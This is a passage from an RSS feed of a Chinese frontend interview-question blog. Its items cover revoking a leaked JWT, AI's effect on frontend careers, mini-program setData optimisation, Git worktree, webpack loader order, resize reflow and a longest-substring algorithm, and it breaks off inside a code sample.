&lt;p&gt;由于 JWT 是&lt;strong&gt;无状态&lt;/strong&gt;的（服务器默认不存储 Token，无法像 Session 那样轻易在服务端作废），快速响应的核心思路在于&lt;strong&gt;阻断该 Token 的有效性&lt;/strong&gt;或&lt;strong&gt;强制变更鉴权环境&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;以下是针对不同场景的快速响应方案：&lt;/p&gt;
&lt;h3 id="1-服务端拦截引入黑名单机制最快响应"&gt;1. 服务端拦截：引入“黑名单”机制（最快响应）&lt;/h3&gt;
&lt;p&gt;这是最直接的补救措施。虽然 JWT 旨在去中心化校验，但在紧急情况下，必须引入中心化检查。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;操作&lt;/strong&gt;：将泄露的 Token 唯一标识（通常是 &lt;code&gt;jti&lt;/code&gt; 载荷）或整个 Token 字符串存入 Redis 等极速缓存中，并设置过期时间（等于该 Token 的剩余有效期）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逻辑更新&lt;/strong&gt;：修改后端的鉴权中间件，在校验 JWT 签名通过后，额外多一步检查：&lt;strong&gt;“该 Token 是否在 Redis 黑名单中？”&lt;/strong&gt;。如果在，则拒绝请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：秒级生效，精准拦截。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-变更签名密钥最彻底但代价大"&gt;2. 变更签名密钥（最彻底但代价大）&lt;/h3&gt;
&lt;p&gt;如果怀疑是大规模泄露，或者加密私钥（Secret Key）本身已暴露：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;操作&lt;/strong&gt;：立即在服务端更换用于签署 JWT 的 &lt;strong&gt;Secret Key&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后果&lt;/strong&gt;：由于密钥变了，之前所有基于旧密钥生成的 Token（包括合法用户的）都会瞬间失效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：密钥泄露或遭受系统性攻击。虽然这会导致全服用户强制下线（需重新登录），但在极端安全风险下是必要的“熔断”。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-强制用户重新登录变更-user-secret"&gt;3. 强制用户重新登录：变更 User Secret&lt;/h3&gt;
&lt;p&gt;如果你的 JWT 签名逻辑中引入了用户特有的变量（例如：&lt;code&gt;HMAC256(payload, base_secret + user_password_hash)&lt;/code&gt;）：&lt;/p&gt;</description></item><item><title>场景题 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-25-b5d632a4/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-25-b5d632a4/</guid><description>&lt;p&gt;共 84 道 场景题 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-58605bf6-530e-4b56-973a-a0147b3e3f7e"&gt;1. 现在大模型已经能高效生成界面代码，有人认为前端会被AI颠覆，也有人认为这只是工具革新。你更倾向哪种观点？你认为前端未来3-5年真正的机会点或转型方向是什么？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;更倾向于“工具革新”而非“彻底颠覆”；大模型替代的是低层实现工作，而前端正在向工程化、系统设计以及 AI 应用方向演进，未来机会集中在高阶工程能力与“前端 + AI”结合的领域。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;更倾向于“工具革新”的判断，但需要补充一个前提：&lt;strong&gt;被替代的不是前端岗位，而是低抽象层的前端工作&lt;/strong&gt;。大模型把“写代码”这一步极大压缩，但没有消解前端在系统中的职责。&lt;/p&gt;
&lt;p&gt;从本质上看，前端的价值不在于把设计稿转成代码，而在于&lt;strong&gt;如何在浏览器这个受限运行时中构建复杂系统并保证体验、性能与稳定性&lt;/strong&gt;。大模型擅长生成局部正确的代码，但在跨模块一致性、状态复杂性、长期可维护性等方面仍然依赖工程设计能力。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一为什么更接近工具革新"&gt;一、为什么更接近“工具革新”&lt;/h2&gt;
&lt;p&gt;大模型改变的是生产方式，而不是问题本身：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码生成 → 自动化&lt;/strong&gt;：组件、页面、样板代码的产出成本趋近于零&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;问题复杂度 → 上移&lt;/strong&gt;：从“怎么写”转为“怎么设计、怎么约束、怎么演进”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人机协作 → 常态化&lt;/strong&gt;：开发流程变成“设计 + 约束 + 校验 + 修正”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这和当年从 jQuery 到框架、再到工程化工具的演进类似，本质是抽象层不断上移。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二未来-35-年的核心变化"&gt;二、未来 3–5 年的核心变化&lt;/h2&gt;
&lt;p&gt;可以用一句话概括：&lt;strong&gt;前端从“实现层”走向“系统层 + AI 协同层”&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="1-前端工程能力会被放大而不是削弱"&gt;1. 前端工程能力会被放大，而不是削弱&lt;/h3&gt;
&lt;p&gt;大模型生成的代码，如果没有约束，很容易出现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;状态混乱（状态源不清晰）&lt;/li&gt;
&lt;li&gt;性能问题（重复渲染、无效请求）&lt;/li&gt;
&lt;li&gt;架构失控（组件边界混乱）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此需要更强的工程能力去“约束 AI”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设计组件规范、状态模型、数据流&lt;/li&gt;
&lt;li&gt;统一代码风格与约束（lint / schema / contract）&lt;/li&gt;
&lt;li&gt;构建可持续演进的架构&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本质上：&lt;strong&gt;人负责“系统正确性”，AI 负责“实现效率”&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-前端--ai的应用能力成为新分水岭"&gt;2. “前端 + AI”的应用能力成为新分水岭&lt;/h3&gt;
&lt;p&gt;未来不是“用 AI 写代码”，而是“用前端做 AI 产品”：&lt;/p&gt;</description></item><item><title>小程序 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-14-68fba79b/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-14-68fba79b/</guid><description>&lt;p&gt;共 15 道 小程序 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-92e09b66-a9fc-435d-ad28-99011b2ddeaa"&gt;1. 小程序可以做哪些性能优化？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;小程序性能优化围绕逻辑层与视图层分离架构展开，重点是减少 setData 频率与数据体积，控制列表节点数量，优化首包体积与启动链路，并通过分包加载、WXS 与懒加载等手段降低渲染压力。核心原则是减少跨线程通信与避免无意义重渲染，从架构层面解决性能瓶颈。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;小程序的性能优化，不能只从“前端渲染”角度看。它的运行模型和 Web 不同，存在 &lt;strong&gt;逻辑层（JSCore）与视图层（WebView）分离&lt;/strong&gt; 的架构特征，核心瓶颈往往出在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨线程通信成本&lt;/li&gt;
&lt;li&gt;setData 传输体积&lt;/li&gt;
&lt;li&gt;渲染节点数量&lt;/li&gt;
&lt;li&gt;包体与启动链路&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;优化必须围绕这些机制展开。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一理解运行架构是前提"&gt;一、理解运行架构是前提&lt;/h2&gt;
&lt;p&gt;以 微信小程序 为例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;逻辑层：JS 执行环境&lt;/li&gt;
&lt;li&gt;视图层：WebView 渲染&lt;/li&gt;
&lt;li&gt;两层通过 JSON 序列化通信&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一次 &lt;code&gt;setData&lt;/code&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数据序列化&lt;/li&gt;
&lt;li&gt;线程间传输&lt;/li&gt;
&lt;li&gt;视图层 diff&lt;/li&gt;
&lt;li&gt;真实节点更新&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以小程序性能优化的第一原则是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;减少跨线程通信的数据量与次数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="二控制-setdata-的粒度与频率"&gt;二、控制 setData 的粒度与频率&lt;/h2&gt;
&lt;h3 id="1-避免大对象全量更新"&gt;1. 避免大对象全量更新&lt;/h3&gt;
&lt;p&gt;错误方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newFormObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果 form 很大，每次都会整体传输。&lt;/p&gt;
&lt;p&gt;正确方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;form.username&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用路径更新，最小化数据传输。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-合并多次-setdata"&gt;2. 合并多次 setData&lt;/h3&gt;
&lt;p&gt;多次调用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;会触发多次通信。&lt;/p&gt;</description></item><item><title>工具 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-20-5ca6730d/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-20-5ca6730d/</guid><description>&lt;p&gt;共 40 道 工具 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-32b2812f-241b-4d0a-9da6-3ff8556b2df1"&gt;1. 你了解 Git 的 Worktree 吗？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Git Worktree 允许多个工作目录共享同一个仓库对象库，从而同时检出多个分支，避免频繁 checkout 带来的上下文切换问题。其核心依赖 Git 的对象数据库与工作区分离设计，相比 clone 具有更低的磁盘与网络成本，适用于并行开发、hotfix、版本对比和 CI 场景，本质是同一仓库的多工作视图机制。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Git Worktree 是 Git 提供的一种 &lt;strong&gt;在同一个仓库中同时检出多个工作目录（working directory）&lt;/strong&gt; 的机制，本质目的是解决“一个仓库只能对应一个当前分支”的限制。&lt;/p&gt;
&lt;p&gt;在传统 Git 使用方式下，一个仓库目录只能 checkout 一个分支。如果正在开发 feature 分支，此时需要紧急修复线上 bug，就必须经历：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;stash 当前修改&lt;/li&gt;
&lt;li&gt;切换分支&lt;/li&gt;
&lt;li&gt;修复问题&lt;/li&gt;
&lt;li&gt;再切回原分支恢复现场&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个过程不仅低效，而且容易产生冲突或遗漏。Worktree 的出现，就是为了避免这种上下文切换成本。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="一worktree-的核心原理"&gt;一、Worktree 的核心原理&lt;/h3&gt;
&lt;p&gt;Git 仓库实际上由两部分组成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.git&lt;/code&gt;：对象数据库（commit、tree、blob、refs）&lt;/li&gt;
&lt;li&gt;working directory：当前检出的文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Worktree 允许 &lt;strong&gt;多个 working directory 共享同一个 &lt;code&gt;.git&lt;/code&gt; 对象库&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;也就是说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;commit history 只有一份&lt;/li&gt;
&lt;li&gt;objects 只有一份&lt;/li&gt;
&lt;li&gt;但可以有多个独立的代码目录，每个目录对应不同分支&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Git 内部会在 &lt;code&gt;.git/worktrees/&lt;/code&gt; 下维护额外工作区的元信息，每个 worktree 都拥有自己的 HEAD、index 和 checkout 状态。&lt;/p&gt;</description></item><item><title>工程化 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-19-539fb4b4/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-19-539fb4b4/</guid><description>&lt;p&gt;共 87 道 工程化 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-7d4e4120-8c99-4e2e-a2c7-98d186c57289"&gt;1. webpack 中的 Loader ，链式调用顺序会影响编译结果吗？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Webpack Loader 是一个按流水线执行的源码转换系统，Loader 的链式顺序直接决定源码被处理的阶段；配置顺序为从左到右，但执行顺序为从右到左，每个 Loader 都处理前一个 Loader 的输出，因此顺序错误会导致语义阶段错乱甚至编译失败；通常应遵循“靠近源码的 Loader 放右侧，靠近运行时的 Loader 放左侧”的原则，同时 Loader 还存在 pitch 与 normal 两阶段执行机制，使顺序对最终编译结果具有决定性影响。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;会，而且这是 Webpack Loader 机制中&lt;strong&gt;非常关键且经常被误解的一点&lt;/strong&gt;：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Loader 的链式调用顺序不仅会影响编译结果，而且很多语法是否能正确工作，完全取决于 Loader 的执行顺序。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;理解这个问题的关键在于：&lt;strong&gt;Loader 本质是一个“源码转换流水线（transform pipeline）”。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一loader-本质源码的逐步转换"&gt;一、Loader 本质：源码的逐步转换&lt;/h2&gt;
&lt;p&gt;在 Webpack 中 hookup 的 Loader，并不是同时运行的，它们会对模块源码进行&lt;strong&gt;一层一层的转换&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;原始源码 → loaderA → loaderB → loaderC → 最终 JS 模块
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每个 Loader：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接收上一个 Loader 的输出&lt;/li&gt;
&lt;li&gt;返回新的源码字符串（或 AST 转换结果）&lt;/li&gt;
&lt;li&gt;交给下一个 Loader&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此：&lt;/p&gt;</description></item><item><title>性能优化 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-11-50b3ce31/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-11-50b3ce31/</guid><description>&lt;p&gt;共 52 道 性能优化 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-cf82f359-6b3e-494b-ba24-11d79fabb8b8"&gt;1. 响应式开发中，如何避免窗口大小监听导致的重排抖动？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;响应式开发中 resize 导致抖动的本质原因是窗口变化会高频触发事件，从而反复触发布局计算。常见优化方式包括对 resize 事件进行节流或防抖以降低执行频率，避免在回调中混合 DOM 读写以减少强制同步布局，利用 &lt;code&gt;requestAnimationFrame&lt;/code&gt; 控制更新时机，以及使用 &lt;code&gt;ResizeObserver&lt;/code&gt;、媒体查询或容器查询等浏览器能力，让布局响应更多地交给浏览器完成，从而降低重排和重绘的成本。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在响应式开发中，如果直接监听 &lt;code&gt;resize&lt;/code&gt; 事件并在回调中执行布局计算或 DOM 操作，很容易引发频繁的 &lt;strong&gt;重排（reflow）和重绘（repaint）&lt;/strong&gt;。原因在于浏览器在拖动窗口尺寸时会持续触发 &lt;code&gt;resize&lt;/code&gt; 事件，如果每次触发都进行样式读取和 DOM 更新，就会造成布局计算不断被打断，从而出现明显的抖动或性能下降。&lt;/p&gt;
&lt;p&gt;实际工程中通常会从 &lt;strong&gt;事件触发频率控制、布局计算方式优化、浏览器能力利用&lt;/strong&gt; 三个层面进行处理。&lt;/p&gt;
&lt;p&gt;首先是对 &lt;code&gt;resize&lt;/code&gt; 事件进行频率控制。浏览器在拖拽窗口时可能每秒触发几十到上百次 &lt;code&gt;resize&lt;/code&gt;，如果每次都重新计算布局，主线程压力会非常大。常见做法是通过 &lt;strong&gt;节流（throttle）或防抖（debounce）&lt;/strong&gt; 将计算频率降低。例如在节流策略下，每隔一段时间才执行一次布局更新，从而避免在连续拖动过程中频繁触发布局计算。对于布局实时性要求较低的场景，防抖也比较适合，即在窗口停止变化后再执行计算。&lt;/p&gt;
&lt;p&gt;其次是避免在 &lt;code&gt;resize&lt;/code&gt; 回调中混合 &lt;strong&gt;DOM 读写操作&lt;/strong&gt;。浏览器在读取布局信息（例如 &lt;code&gt;offsetWidth&lt;/code&gt;、&lt;code&gt;getBoundingClientRect&lt;/code&gt;）时，如果之前存在未提交的样式修改，会强制触发布局计算，这被称为 &lt;strong&gt;强制同步布局（Forced Reflow）&lt;/strong&gt;。因此更好的方式是将读取和写入操作进行分离，例如先批量读取尺寸，再统一修改样式，或者借助 &lt;code&gt;requestAnimationFrame&lt;/code&gt; 将 DOM 更新安排到浏览器下一帧执行，避免频繁打断渲染流程。&lt;/p&gt;
&lt;p&gt;另外一个更现代的方案是尽量减少对 &lt;code&gt;window.resize&lt;/code&gt; 的依赖，而是使用 &lt;strong&gt;元素级尺寸监听机制&lt;/strong&gt;。浏览器已经提供了 &lt;code&gt;ResizeObserver&lt;/code&gt; API，可以直接监听某个容器尺寸变化。当布局响应依赖的是容器宽度而不是窗口宽度时，这种方式更加精确，同时也减少无关 resize 触发带来的性能损耗。&lt;/p&gt;
&lt;p&gt;在 CSS 层面也可以减少 JavaScript 的参与。例如使用 &lt;strong&gt;媒体查询（media query）&lt;/strong&gt; 或 &lt;strong&gt;容器查询（container query）&lt;/strong&gt; 来处理布局变化，让浏览器在样式计算阶段直接完成响应式适配。CSS 驱动的响应式布局通常比 JavaScript 监听 resize 更高效，因为浏览器可以对样式计算进行统一调度。&lt;/p&gt;</description></item><item><title>算法 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-6-af84cfb6/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-6-af84cfb6/</guid><description>&lt;p&gt;共 22 道 算法 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-0c2e2466-54ef-47b7-99f1-1064ea325a0b"&gt;1. 不重复最大子串&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;给定一个字符串，请实现一个函数来找到其中的不重复最大子串。例如，对于字符串&amp;quot;abcabcbb&amp;quot;，不重复最大子串是&amp;quot;abc&amp;quot;，长度为3。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请写出实现该功能的代码，并说明其时间复杂度。&lt;/li&gt;
&lt;li&gt;考虑到性能优化，你认为还有哪些改进空间？请提出优化思路并实现优化后的代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;滑动窗口&lt;/strong&gt; 是解决最长不重复子串问题的核心思想。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set 方法&lt;/strong&gt;简单直观，但每遇到重复字符可能多次移动左指针。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Map 优化&lt;/strong&gt;通过记录字符索引，&lt;strong&gt;直接跳过重复区域&lt;/strong&gt;，减少不必要操作。&lt;/li&gt;
&lt;li&gt;时间复杂度 O(n)，空间复杂度 O(Σ)。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一滑动窗口实现"&gt;一、滑动窗口实现&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lengthOfLongestSubstring&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Set&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;left&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;maxLen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;right&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;right&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;; &lt;span style="color:#a6e22e"&gt;right&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;has&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;right&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;delete&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;left&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;left&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;right&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;maxLen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Math.&lt;span style="color:#a6e22e"&gt;max&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;maxLen&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;right&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;left&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxLen&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 测试
